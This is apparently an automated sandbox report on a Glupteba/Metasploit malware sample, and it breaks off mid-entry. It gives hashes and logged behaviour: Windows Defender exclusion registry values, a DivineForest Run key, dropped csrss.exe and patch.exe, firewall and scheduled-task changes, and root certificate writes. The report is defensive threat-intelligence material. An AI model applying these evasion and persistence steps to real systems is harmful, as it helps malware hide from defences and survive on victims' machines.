glupteba | b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

General

Target

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Size

3.8MB
MD5

bf8bd00031a3a08e4e62dbfff08b9bfa
SHA1

1f1264370e6b86999998dd99596de4010a283c31
SHA256

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e
SHA512

f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5
SSDEEP

98304:WyfDgsCeWlw817dwOUCXuiwMU6Fnit62T4IQIXS5:WKDgdaAdfXuilbit6c4tIi5

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/964-56-0x0000000002950000-0x0000000003152000-memory.dmp	family_glupteba
behavioral1/memory/964-57-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/964-58-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/964-59-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/1404-65-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/1404-70-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/1744-73-0x0000000002A90000-0x0000000003292000-memory.dmp	family_glupteba
behavioral1/memory/1744-74-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/1744-75-0x0000000000400000-0x0000000000C24000-memory.dmp	family_glupteba
behavioral1/memory/2044-78-0x0000000140000000-0x00000001405E8000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DivineForest = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1744 csrss.exe
2044 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1656 netsh.exe

pid	process
1744	csrss.exe
2044	patch.exe

pid	process
1656	netsh.exe

Loads dropped DLL 5 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exepatch.exe

pid	process
1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
884
2044	patch.exe
2044	patch.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DivineForest = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\DivineForest = "\"C:\\Windows\\rss\\csrss.exe\""	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
File created	C:\Windows\rss\csrss.exe	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20230129193312.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1632 schtasks.exe
452 schtasks.exe

pid	process
1632	schtasks.exe
452	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.execsrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time"	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	csrss.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 